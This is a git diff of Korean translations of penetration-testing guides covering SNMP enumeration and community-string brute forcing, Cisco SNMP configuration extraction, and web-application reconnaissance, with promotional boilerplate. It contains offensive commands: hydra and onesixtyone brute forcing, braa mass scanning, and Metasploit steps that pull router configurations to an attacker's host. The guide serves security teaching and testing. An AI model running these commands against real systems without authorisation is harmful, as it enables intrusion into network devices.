**객체 식별자(Object Identifiers, OIDs)**는 중요한 역할을 합니다. 이러한 고유 식별자는 **관리 정보 베이스(MIB)** 내에서 객체를 관리하기 위해 설계되었습니다.
|
||||
**Object Identifiers (OIDs)**는 중요한 역할을 합니다. 이러한 고유 식별자는 **Management Information Base (MIB)** 내에서 객체를 관리하기 위해 설계되었습니다.
|
||||
|
||||
MIB 객체 ID 또는 OID의 가장 높은 수준은 다양한 표준 설정 조직에 할당됩니다. 이러한 최상위 수준 내에서 글로벌 관리 관행 및 표준을 위한 프레임워크가 설정됩니다.
|
||||
|
||||
또한, 공급업체는 개인 브랜치를 설정할 수 있는 자유를 부여받습니다. 이러한 브랜치 내에서 그들은 **자신의 제품 라인과 관련된 관리 객체를 포함할 자율성을 가집니다**. 이 시스템은 다양한 공급업체와 표준 간에 광범위한 객체를 식별하고 관리하기 위한 구조적이고 조직적인 방법을 보장합니다.
|
||||
또한, 공급업체는 개인 브랜치를 설정할 수 있는 자유를 부여받습니다. 이러한 브랜치 내에서 그들은 **자신의 제품 라인과 관련된 관리 객체를 포함할 수 있는 자율성을 가집니다**. 이 시스템은 다양한 공급업체와 표준 간에 광범위한 객체를 식별하고 관리하기 위한 구조적이고 조직적인 방법을 보장합니다.
|
||||
|
||||
![](<../../.gitbook/assets/SNMP\_OID\_MIB\_Tree (1).png>)
|
||||
|
||||
여기에서 **OID 트리**를 **탐색**할 수 있습니다: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) 또는 **OID의 의미를 확인**할 수 있습니다 (예: `1.3.6.1.2.1.1`) [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1)에서 접근하세요.\
|
||||
일부 **잘 알려진 OID**가 있으며, [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) 내의 것들은 MIB-2에서 정의된 간단한 네트워크 관리 프로토콜(SNMP) 변수를 참조합니다. 그리고 **이 OID에서 파생된 OID**를 통해 흥미로운 호스트 데이터(시스템 데이터, 네트워크 데이터, 프로세스 데이터 등)를 얻을 수 있습니다.
|
||||
여기에서 **OID 트리**를 **탐색**할 수 있습니다: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) 또는 **OID의 의미를 확인**할 수 있습니다 (예: `1.3.6.1.2.1.1`) [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1)에서 접근하여 확인하세요.\
|
||||
[1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) 내부의 **잘 알려진 OIDs**가 있으며, 이는 MIB-2에서 정의된 Simple Network Management Protocol (SNMP) 변수를 참조합니다. 그리고 이로부터 **대기 중인 OIDs**를 통해 흥미로운 호스트 데이터(시스템 데이터, 네트워크 데이터, 프로세스 데이터 등)를 얻을 수 있습니다.
|
||||
|
||||
### **OID 예시**
|
||||
|
||||
|
@ -60,12 +60,12 @@ MIB 객체 ID 또는 OID의 가장 높은 수준은 다양한 표준 설정 조
|
|||
|
||||
* 1 – 이것은 ISO라고 하며, 이것이 OID임을 나타냅니다. 그래서 모든 OID는 "1"로 시작합니다.
|
||||
* 3 – 이것은 ORG라고 하며, 장치를 만든 조직을 지정하는 데 사용됩니다.
|
||||
* 6 – 이것은 국방부(DOD)로, 인터넷을 처음으로 설립한 조직입니다.
|
||||
* 6 – 이것은 dod 또는 국방부로, 인터넷을 처음으로 설립한 조직입니다.
|
||||
* 1 – 이것은 인터넷의 값을 나타내며, 모든 통신이 인터넷을 통해 이루어질 것임을 나타냅니다.
|
||||
* 4 – 이 값은 이 장치가 정부가 아닌 민간 조직에 의해 만들어졌음을 나타냅니다.
|
||||
* 1 – 이 값은 장치가 기업 또는 비즈니스 엔티티에 의해 만들어졌음을 나타냅니다.
|
||||
|
||||
이 첫 여섯 값은 모든 장치에 대해 동일하며, 장치에 대한 기본 정보를 제공합니다. 이 숫자 시퀀스는 모든 OID에 대해 동일하며, 정부에서 제작된 장치의 경우를 제외합니다.
|
||||
이 첫 여섯 값은 모든 장치에 대해 동일하며, 기본 정보를 제공합니다. 이 숫자 시퀀스는 모든 OID에 대해 동일하지만, 장치가 정부에 의해 만들어진 경우는 제외됩니다.
|
||||
|
||||
다음 숫자 세트로 넘어갑니다.
|
||||
|
||||
|
@ -75,7 +75,7 @@ MIB 객체 ID 또는 OID의 가장 높은 수준은 다양한 표준 설정 조
|
|||
|
||||
나머지 값들은 장치에 대한 구체적인 정보를 제공합니다.
|
||||
|
||||
* 5 – 이산 알람 포인트를 나타냅니다.
|
||||
* 5 – 개별 알람 포인트를 나타냅니다.
|
||||
* 1 – 장치 내의 특정 포인트
|
||||
* 3 – 포트
|
||||
* 21 – 포트의 주소
|
||||
|
@ -92,7 +92,7 @@ SNMP에는 2개의 중요한 버전이 있습니다:
|
|||
|
||||
### 커뮤니티 문자열
|
||||
|
||||
앞서 언급했듯이, **MIB에 저장된 정보에 접근하려면 버전 1 및 2/2c의 커뮤니티 문자열과 버전 3의 자격 증명을 알아야 합니다.**\
|
||||
앞서 언급했듯이, **MIB에 저장된 정보에 접근하려면 버전 1 및 2/2c에서는 커뮤니티 문자열을 알아야 하고, 버전 3에서는 자격 증명을 알아야 합니다.**\
|
||||
**커뮤니티 문자열**에는 **2가지 유형**이 있습니다:
|
||||
|
||||
* **`public`** 주로 **읽기 전용** 기능
|
||||
|
@ -101,17 +101,17 @@ SNMP에는 2개의 중요한 버전이 있습니다:
|
|||
**OID의 쓰기 가능성은 사용된 커뮤니티 문자열에 따라 다르므로**, **"public"**이 사용되고 있더라도 **일부 값을 쓸 수 있을 수 있습니다.** 또한, **항상 "읽기 전용"인 객체가 존재할 수 있습니다.**\
|
||||
객체를 **쓰기** 시도하면 **`noSuchName` 또는 `readOnly` 오류**가 발생합니다\*\*.\*\*
|
||||
|
||||
버전 1 및 2/2c에서는 **잘못된** 커뮤니티 문자열을 사용하면 서버가 **응답하지 않습니다**. 따라서 응답이 있으면 **유효한 커뮤니티 문자열이 사용된 것입니다**.
|
||||
버전 1 및 2/2c에서는 **잘못된** 커뮤니티 문자열을 사용하면 서버가 **응답하지 않습니다**. 따라서 응답이 있다면, **유효한 커뮤니티 문자열이 사용된 것입니다**.
|
||||
|
||||
## 포트
|
||||
|
||||
[위키백과에서](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol):
|
||||
|
||||
* SNMP 에이전트는 UDP 포트 **161**에서 요청을 수신합니다.
|
||||
* 관리자는 포트 **162**에서 알림([트랩](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#Trap) 및 [InformRequests](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#InformRequest))을 수신합니다.
|
||||
* [전송 계층 보안](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) 또는 [데이터그램 전송 계층 보안](https://en.wikipedia.org/wiki/Datagram\_Transport\_Layer\_Security)와 함께 사용할 때, 요청은 포트 **10161**에서 수신되고 알림은 포트 **10162**로 전송됩니다.
|
||||
* 관리자는 포트 **162**에서 알림([Traps](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#Trap) 및 [InformRequests](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#InformRequest))을 수신합니다.
|
||||
* [Transport Layer Security](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) 또는 [Datagram Transport Layer Security](https://en.wikipedia.org/wiki/Datagram\_Transport\_Layer\_Security)와 함께 사용될 때, 요청은 포트 **10161**에서 수신되고 알림은 포트 **10162**로 전송됩니다.
|
||||
|
||||
## 커뮤니티 문자열 무차별 대입(v1 및 v2c)
|
||||
## 커뮤니티 문자열 무차별 대입 (v1 및 v2c)
|
||||
|
||||
**커뮤니티 문자열을 추측하기 위해** 사전 공격을 수행할 수 있습니다. SNMP에 대한 무차별 대입 공격을 수행하는 다양한 방법은 [여기에서 확인하세요](../../generic-methodologies-and-resources/brute-force.md#snmp). 자주 사용되는 커뮤니티 문자열은 `public`입니다.
|
||||
|
||||
|
@ -193,7 +193,7 @@ SNMP 서비스 내에서 **값을 쓰는** 것을 허용하는 **문자열**이
|
|||
|
||||
## **대량 SNMP**
|
||||
|
||||
[Braa ](https://github.com/mteg/braa)는 대량 SNMP 스캐너입니다. 이러한 도구의 의도된 사용은 물론 SNMP 쿼리를 만드는 것이지만, net-snmp의 snmpwalk와는 달리 수십 또는 수백 개의 호스트를 동시에, 단일 프로세스에서 쿼리할 수 있습니다. 따라서 시스템 자원을 매우 적게 소모하며 스캔을 매우 빠르게 수행합니다.
|
||||
[Braa ](https://github.com/mteg/braa)는 대량 SNMP 스캐너입니다. 이러한 도구의 의도된 사용은 물론 SNMP 쿼리를 만드는 것이지만, net-snmp의 snmpwalk와는 달리 수십 또는 수백 개의 호스트를 동시에, 단일 프로세스에서 쿼리할 수 있습니다. 따라서 시스템 리소스를 매우 적게 소모하며 스캔을 매우 빠르게 수행합니다.
|
||||
|
||||
Braa는 자체 SNMP 스택을 구현하므로 net-snmp와 같은 SNMP 라이브러리가 필요하지 않습니다.
|
||||
|
||||
|
@ -203,7 +203,7 @@ braa ignite123@192.168.1.125:.1.3.6.*
|
|||
```
|
||||
이것은 수동으로 처리할 수 없는 많은 MB의 정보를 추출할 수 있습니다.
|
||||
|
||||
그래서, 가장 흥미로운 정보를 찾아봅시다 (출처: [https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/](https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/)):
|
||||
그래서, 가장 흥미로운 정보를 찾아봅시다 (from [https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/](https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/)):
|
||||
|
||||
### **장치**
|
||||
|
||||
|
@ -211,9 +211,9 @@ braa ignite123@192.168.1.125:.1.3.6.*
|
|||
```bash
|
||||
grep ".1.3.6.1.2.1.1.1.0" *.snmp
|
||||
```
|
||||
### **개인 문자열 식별**
|
||||
### **비공식 문자열 식별**
|
||||
|
||||
중요한 단계는 조직에서 사용하는 **개인 커뮤니티 문자열**을 식별하는 것입니다. 특히 Cisco IOS 라우터에서 이 문자열은 라우터의 **실행 구성**을 추출하는 데 사용됩니다. 식별은 종종 **grep 명령**을 사용하여 "trap"이라는 단어에 대한 SNMP Trap 데이터를 분석하는 데 의존합니다.
|
||||
중요한 단계는 조직에서 사용하는 **비공식 커뮤니티 문자열**을 식별하는 것입니다. 특히 Cisco IOS 라우터에서 이 문자열은 라우터의 **실행 구성**을 추출하는 데 사용됩니다. 식별은 종종 **grep 명령**을 사용하여 "trap"이라는 단어에 대한 SNMP Trap 데이터를 분석하는 데 의존합니다.
|
||||
```bash
|
||||
grep -i "trap" *.snmp
|
||||
```
|
||||
|
@ -243,9 +243,9 @@ ACL이 SMNP 서비스에 쿼리할 수 있는 IP만 허용하는 경우, UDP 패
|
|||
* snmpd.conf
|
||||
* snmp-config.xml
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 채용 중입니다!** (_유창한 폴란드어 구술 및 작문 필수_).
|
||||
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 채용 중입니다!** (_유창한 폴란드어 구사 필수_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -286,8 +286,8 @@ Command: hydra -P {Big_Passwordlist} -v {IP} snmp
|
|||
|
||||
```
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS 해킹 배우기 및 연습하기:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# Cisco SNMP
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
|
@ -31,7 +31,7 @@ onesixtyone -c communitystrings -i targets
|
|||
```
|
||||
#### `cisco_config_tftp`
|
||||
|
||||
Metasploit 프레임워크는 `cisco_config_tftp` 모듈을 제공하여 RW 커뮤니티 문자열을 확보한 경우 장치 구성을 추출할 수 있습니다. 이 작업에 필요한 필수 매개변수는 다음과 같습니다:
|
||||
Metasploit 프레임워크는 `cisco_config_tftp` 모듈을 제공하여 RW 커뮤니티 문자열을 획득한 경우 장치 구성을 추출할 수 있습니다. 이 작업에 필요한 필수 매개변수는 다음과 같습니다:
|
||||
|
||||
* RW 커뮤니티 문자열 (**COMMUNITY**)
|
||||
* 공격자의 IP (**LHOST**)
|
||||
|
@ -52,15 +52,15 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
|
|||
|
||||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
당신이 **해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 인재를 모집합니다!** (_유창한 폴란드어 구사 필수_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS 해킹 배우기 및 연습하기:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -15,9 +15,9 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_유창한 폴란드어 필기 및 구사 필요_).
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_유창한 폴란드어 필기 및 구사 필수_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -50,12 +50,12 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
|||
* [ ] 기술 버전의 **알려진 취약점**이 있습니까?
|
||||
* [ ] **잘 알려진 기술**을 사용하고 있습니까? 더 많은 정보를 추출하기 위한 **유용한 트릭**이 있습니까?
|
||||
* [ ] 실행할 **전문 스캐너**가 있습니까(예: wpscan)?
|
||||
* [ ] **일반 목적의 스캐너**를 실행합니다. 무언가를 발견할지, 흥미로운 정보를 발견할지 알 수 없습니다.
|
||||
* [ ] **초기 검사**로 시작합니다: **robots**, **sitemap**, **404** 오류 및 **SSL/TLS 스캔**(HTTPS인 경우).
|
||||
* [ ] **일반 목적 스캐너**를 실행합니다. 무언가를 발견할지 아니면 흥미로운 정보를 발견할지 모릅니다.
|
||||
* [ ] **초기 검사**로 시작합니다: **로봇**, **사이트맵**, **404** 오류 및 **SSL/TLS 스캔**(HTTPS인 경우).
|
||||
* [ ] 웹 페이지를 **스파이더링**하기 시작합니다: 가능한 모든 **파일, 폴더** 및 **사용되는 매개변수**를 **찾는** 시간입니다. 또한 **특별한 발견**을 확인하세요.
|
||||
* [ ] _브루트 포싱 또는 스파이더링 중에 새로운 디렉토리가 발견될 때마다 스파이더링해야 합니다._
|
||||
* [ ] **디렉토리 브루트 포싱**: 발견된 모든 폴더를 브루트 포스하여 새로운 **파일** 및 **디렉토리**를 검색합니다.
|
||||
* [ ] _브루트 포싱 또는 스파이더링 중에 새로운 디렉토리가 발견될 때마다 브루트 포싱해야 합니다._
|
||||
* [ ] _브루트 포싱 또는 스파이더링 중에 새로운 디렉토리가 발견될 때마다 브루트 포스해야 합니다._
|
||||
* [ ] **백업 확인**: 일반적인 백업 확장자를 추가하여 **발견된 파일**의 **백업**을 찾을 수 있는지 테스트합니다.
|
||||
* [ ] **브루트 포스 매개변수**: **숨겨진 매개변수**를 **찾아보세요**.
|
||||
* [ ] **사용자 입력**을 수용하는 모든 가능한 **엔드포인트**를 **식별**한 후, 관련된 모든 종류의 **취약점**을 확인합니다.
|
||||
|
@ -73,7 +73,7 @@ whatweb -a 3 <URL> #Aggresive
|
|||
webtech -u <URL>
|
||||
webanalyze -host https://google.com -crawl 2
|
||||
```
|
||||
Search **for** [**웹 애플리케이션의 취약점** **버전**](../../generic-methodologies-and-resources/search-exploits.md)
|
||||
Search **for** [**웹 애플리케이션 버전의 취약점**](../../generic-methodologies-and-resources/search-exploits.md)
|
||||
|
||||
### **WAF 확인하기**
|
||||
|
||||
|
@ -117,17 +117,17 @@ Search **for** [**웹 애플리케이션의 취약점** **버전**](../../generi
|
|||
* [**Wordpress**](wordpress.md)
|
||||
* [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/)
|
||||
|
||||
_같은 **도메인**이 **다른 기술**을 **다른 포트**, **폴더** 및 **서브도메인**에서 사용할 수 있다는 점을 고려하세요._\
|
||||
웹 애플리케이션이 이전에 나열된 잘 알려진 **기술/플랫폼**이나 **기타**를 사용하고 있다면, **인터넷에서** 새로운 트릭을 **검색하는 것을 잊지 마세요** (그리고 저에게 알려주세요!).
|
||||
_같은 도메인이 **다른 기술**을 **다른 포트**, **폴더** 및 **서브도메인**에서 사용할 수 있다는 점을 고려하세요._\
|
||||
웹 애플리케이션이 이전에 나열된 잘 알려진 **기술/플랫폼**이나 **다른 것**을 사용하고 있다면, **인터넷에서** 새로운 트릭을 **검색하는 것을 잊지 마세요** (그리고 저에게 알려주세요!).
|
||||
|
||||
### 소스 코드 검토
|
||||
|
||||
애플리케이션의 **소스 코드**가 **github**에 있는 경우, 애플리케이션에 대해 **자신이 직접 화이트 박스 테스트**를 수행하는 것 외에도 현재 **블랙 박스 테스트**에 **유용한 정보**가 있을 수 있습니다:
|
||||
애플리케이션의 **소스 코드**가 **github**에 있는 경우, 애플리케이션에 대해 **자신의 화이트 박스 테스트**를 수행하는 것 외에도 현재 **블랙 박스 테스트**에 **유용한 정보**가 있을 수 있습니다:
|
||||
|
||||
* **변경 로그 또는 README 또는 버전** 파일이나 **버전 정보에 접근 가능한** 것이 있나요?
|
||||
* **자격 증명**은 어떻게 어디에 저장되나요? 자격 증명(사용자 이름 또는 비밀번호)이 있는 (접근 가능한?) **파일**이 있나요?
|
||||
* **변경 로그 또는 README 또는 버전** 파일이나 웹을 통해 접근 가능한 **버전 정보**가 있나요?
|
||||
* **자격 증명**은 어떻게 어디에 저장되나요? 자격 증명(사용자 이름 또는 비밀번호)이 포함된 (접근 가능한?) **파일**이 있나요?
|
||||
* **비밀번호**는 **일반 텍스트**, **암호화**되어 있거나 어떤 **해싱 알고리즘**이 사용되나요?
|
||||
* 어떤 것을 암호화하기 위해 **마스터 키**를 사용하고 있나요? 어떤 **알고리즘**이 사용되나요?
|
||||
* 무언가를 암호화하기 위해 **마스터 키**를 사용하고 있나요? 어떤 **알고리즘**이 사용되나요?
|
||||
* 어떤 취약점을 이용해 **이 파일들에 접근할 수 있나요**?
|
||||
* **github**에 (해결된 것과 해결되지 않은 것) **이슈**에 흥미로운 정보가 있나요? 또는 **커밋 기록**에 (아마도 **오래된 커밋에 입력된 비밀번호**)?
|
||||
|
||||
|
@ -151,7 +151,7 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
|
|||
```
|
||||
#### CMS 스캐너
|
||||
|
||||
CMS가 사용되는 경우 **스캐너를 실행하는 것을 잊지 마세요**, 아마도 흥미로운 것이 발견될 수 있습니다:
|
||||
CMS가 사용된다면 **스캐너를 실행하는 것을 잊지 마세요**, 아마도 흥미로운 것이 발견될 수 있습니다:
|
||||
|
||||
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\
|
||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/), **Joomla**, **vBulletin** 웹사이트의 보안 문제. (GUI)\
|
||||
|
@ -164,7 +164,7 @@ wpscan --force update -e --url <URL>
|
|||
joomscan --ec -u <URL>
|
||||
joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
```
|
||||
> 이 시점에서 클라이언트가 사용하는 웹 서버에 대한 정보(주어진 데이터가 있을 경우)를 이미 가지고 있어야 하며, 테스트 중에 염두에 두어야 할 몇 가지 요령이 있어야 합니다. 운이 좋다면 CMS를 찾고 스캐너를 실행했을 수도 있습니다.
|
||||
> 이 시점에서 클라이언트가 사용하는 웹 서버에 대한 정보(주어진 데이터가 있을 경우)를 이미 가지고 있어야 하며, 테스트 중에 염두에 두어야 할 몇 가지 요령이 있어야 합니다. 운이 좋다면 CMS를 발견하고 스캐너를 실행했을 것입니다.
|
||||
|
||||
## 단계별 웹 애플리케이션 탐색
|
||||
|
||||
|
@ -199,8 +199,8 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
|||
|
||||
### **SSL/TLS 취약점**
|
||||
|
||||
* 애플리케이션이 어느 부분에서도 **HTTPS 사용을 강제하지 않는다면**, 이는 **MitM에 취약**합니다.
|
||||
* 애플리케이션이 **HTTP를 사용하여 민감한 데이터(비밀번호)를 전송하는 경우**, 이는 높은 취약점입니다.
|
||||
* 애플리케이션이 **어느 부분에서도 HTTPS 사용을 강제하지 않는다면**, 이는 **MitM에 취약합니다**
|
||||
* 애플리케이션이 **HTTP를 사용하여 민감한 데이터(비밀번호)를 전송하는 경우**. 이는 높은 취약점입니다.
|
||||
|
||||
[**testssl.sh**](https://github.com/drwetter/testssl.sh)를 사용하여 **취약점**을 확인하고 (버그 바운티 프로그램에서는 이러한 종류의 취약점이 수용되지 않을 수 있습니다) [**a2sv**](https://github.com/hahwul/a2sv)를 사용하여 취약점을 재확인하세요:
|
||||
```bash
|
||||
|
@ -221,8 +221,8 @@ sslyze --regular <ip:port>
|
|||
웹 내에서 어떤 종류의 **스파이더**를 실행합니다. 스파이더의 목표는 테스트된 애플리케이션에서 **가능한 많은 경로를 찾는 것**입니다. 따라서 웹 크롤링과 외부 소스를 사용하여 가능한 많은 유효한 경로를 찾아야 합니다.
|
||||
|
||||
* [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML 스파이더, JS 파일 및 외부 소스(Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com)에서 링크 찾기.
|
||||
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML 스파이더, JS 파일에 대한 LinkFinder 및 Archive.org를 외부 소스로 사용.
|
||||
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML 스파이더, "juicy files"도 표시.
|
||||
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML 스파이더, JS 파일 및 Archive.org를 외부 소스로 사용하는 LinkFinder.
|
||||
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML 스파이더, "juicy files"도 표시합니다.
|
||||
* [**evine** ](https://github.com/saeeddhqan/evine)(go): 대화형 CLI HTML 스파이더. Archive.org에서도 검색합니다.
|
||||
* [**meg**](https://github.com/tomnomnom/meg) (go): 이 도구는 스파이더는 아니지만 유용할 수 있습니다. 호스트가 있는 파일과 경로가 있는 파일을 지정하면 meg가 각 호스트의 각 경로를 가져와 응답을 저장합니다.
|
||||
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS 렌더링 기능이 있는 HTML 스파이더. 그러나 유지 관리되지 않는 것처럼 보이며, 미리 컴파일된 버전이 오래되었고 현재 코드는 컴파일되지 않습니다.
|
||||
|
@ -231,37 +231,37 @@ sslyze --regular <ip:port>
|
|||
* [**galer**](https://github.com/dwisiswant0/galer) (go): JS 렌더링 기능이 있는 HTML 스파이더.
|
||||
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML 스파이더, JS 파일에서 새로운 경로를 검색할 수 있는 JS beautify 기능이 있습니다. [JSScanner](https://github.com/dark-warlord14/JSScanner)도 살펴볼 가치가 있습니다. 이는 LinkFinder의 래퍼입니다.
|
||||
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTML 소스와 내장된 자바스크립트 파일 모두에서 엔드포인트를 추출합니다. 버그 헌터, 레드 팀원, 정보 보안 전문가에게 유용합니다.
|
||||
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): JavaScript 파일에서 상대 URL을 구문 분석하기 위해 Tornado와 JSBeautifier를 사용하는 Python 2.7 스크립트. AJAX 요청을 쉽게 발견하는 데 유용합니다. 유지 관리되지 않는 것처럼 보입니다.
|
||||
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): 파일(HTML)을 주면 멋진 정규 표현식을 사용하여 상대 URL을 추출합니다.
|
||||
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): 자바스크립트 파일에서 상대 URL을 구문 분석하기 위해 Tornado와 JSBeautifier를 사용하는 파이썬 2.7 스크립트. AJAX 요청을 쉽게 발견하는 데 유용합니다. 유지 관리되지 않는 것처럼 보입니다.
|
||||
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): 파일(HTML)을 주면 멋진 정규 표현식을 사용하여 상대 URL을 찾아 추출합니다.
|
||||
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, 여러 도구): 여러 도구를 사용하여 JS 파일에서 흥미로운 정보를 수집합니다.
|
||||
* [**subjs**](https://github.com/lc/subjs) (go): JS 파일을 찾습니다.
|
||||
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): 헤드리스 브라우저에서 페이지를 로드하고 페이지를 로드하는 데 사용된 모든 URL을 인쇄합니다.
|
||||
